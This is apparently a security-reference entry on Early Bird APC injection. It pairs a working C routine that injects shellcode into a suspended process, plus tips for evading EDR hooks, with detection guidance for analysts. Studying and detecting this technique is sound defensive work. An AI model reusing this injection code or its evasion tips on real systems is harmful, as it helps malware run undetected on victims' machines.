Early Bird APC Injection
Queues a user-mode APC to the main thread of a process created suspended, so the payload runs at the first alertable wait before the real entry point executes or EDR userland hooks settle.
Early Bird is a timing-sensitive variant of classic APC injection. Instead of
queueing an asynchronous procedure call to a thread already running in a victim
process, the malware spawns a brand-new process in a suspended state, queues the
APC onto its main thread, and then resumes it. The freshly created thread begins
its life inside ntdll!LdrInitializeThunk, which performs the loader work for
the new image — and that path runs an alertable wait early, draining the APC
queue before the EXE's WinMain/entry point is reached.
The value for an attacker is twofold. First, the payload executes before the
real program logic, so the host process is still a clean, signed binary on disk
with no suspicious threads of its own. Second — and the reason the technique was
named "early bird" — many EDR products install their userland hooks (in
ntdll.dll, kernelbase.dll, etc.) during or just after process
initialization. Firing the APC at the very start of LdrInitializeThunk can win
the race and run shellcode before those hooks are fully in place.
How it works
The operator creates a benign target (often RuntimeBroker.exe or
svchost.exe), allocates and writes the shellcode, queues it as an APC against
the suspended primary thread, and resumes:
#include <windows.h>
BOOL EarlyBird(LPCWSTR target, BYTE *sc, SIZE_T scLen)
{
STARTUPINFOW si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
// 1. Create the host process suspended — primary thread parked in LdrInitializeThunk
if (!CreateProcessW(target, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi))
return FALSE;
// 2. Allocate executable memory in the new process and copy the payload
LPVOID rmt = VirtualAllocEx(pi.hProcess, NULL, scLen,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, rmt, sc, scLen, NULL);
// 3. Queue the user-mode APC onto the suspended MAIN thread
QueueUserAPC((PAPCFUNC)rmt, pi.hThread, 0);
// 4. Resume — the loader runs an alertable wait early and drains the APC
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}Stealthier builds split the steps across NtAllocateVirtualMemory,
NtWriteVirtualMemory, and NtQueueApcThread to skip the hooked kernel32/Win32
wrappers, and flip the payload region from RW to RX with
NtProtectVirtualMemory to avoid a tell-tale RWX allocation.
Detection & analysis
Static analysis: Disassemble and look for the signature ordering of
CreateProcessW/CreateProcessA with the CREATE_SUSPENDED flag (0x00000004)
immediately followed by VirtualAllocEx, WriteProcessMemory, QueueUserAPC
(or NtQueueApcThread), and ResumeThread. CAPA rules covering "spawn suspended
process" plus "queue APC" co-occurring in one sample are a strong indicator. The
absence of any CreateRemoteThread distinguishes it from thread-injection
families.
Dynamic analysis: Under a debugger or API Monitor, set breakpoints on
NtQueueApcThread and NtResumeThread and confirm the APC routine pointer lands
in a freshly allocated executable region of a process you just created. In a
sandbox, the child process tree showing a signed binary spawned suspended with no
command line, then immediately resumed, is suspicious. Compare against ETW
Microsoft-Windows-Threat-Intelligence, which surfaces NtQueueApcThreadEx and
cross-process memory writes against the new process before it has done any work.
Detection rule hint: Alert when a process is created with CREATE_SUSPENDED
and, before its first module-load events complete, the same parent writes
executable memory into it and calls QueueUserAPC/NtQueueApcThread against the
primary (TID == process creation thread) thread. Correlate the suspended-create
to-resume window with an injected APC target address that is not backed by any
mapped image (MITRE T1055.004).